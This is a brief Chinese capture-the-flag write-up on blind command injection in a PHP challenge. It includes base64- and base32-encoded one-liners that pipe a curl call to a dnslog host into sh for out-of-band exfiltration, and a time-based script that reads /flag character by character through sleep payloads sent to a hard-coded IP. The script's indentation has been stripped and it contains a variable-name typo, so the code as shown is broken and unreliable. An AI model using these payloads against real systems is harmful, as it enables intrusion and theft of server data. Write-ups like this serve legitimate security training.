小红花
很明显是命令执行,但肯定有过滤.
首先看函数shell_exec他会执行系统命令,并把执行结果返回出来。但看提示似乎没有把返回结果打印测试后也证实了这个想法。
那么就首先尝试外带了。
dnslog外带-失败
尝试过以后payload都没有成功。听别人说之前有人成功过是因为非预期后来再进行尝试就没有成功了。
echo Y3VybCBibC50ZXN0LmRuc2xvZy5saW5rIA==|base64 -d |sh
echo MN2XE3BAMJWC45DFON2C4ZDOONWG6ZZONRUW42ZA |base32 -d |sh
盲注
暂且叫这个名字吧。通过if语句来判断字符正确如正确则延时,通过时间来判断字符。和sql盲注一个意思。
import requests
import string
import urllib.parse
import time
char = string.digits+string.ascii_letters
char += "{}-_"
result = ""
for n in range(1,40):
for i in char:
payload = "if [ `cut -c {} /flag` = \"{}\" ];then sleep 7;fi".format(n,i)
paylaod = urllib.parse.quote(payload)
url = "http://183.129.189.60:10069/?imagin={}".format(payload)
# print(url)
# print(url)
# try:
start = time.time()
try:
html = requests.get(url,timeout=8).text
#print(start)
if html:
if int(time.time())-int(start) >5:
result += i
except:
print(n,i)
print(result)
# print(html)
# except:
# print(i)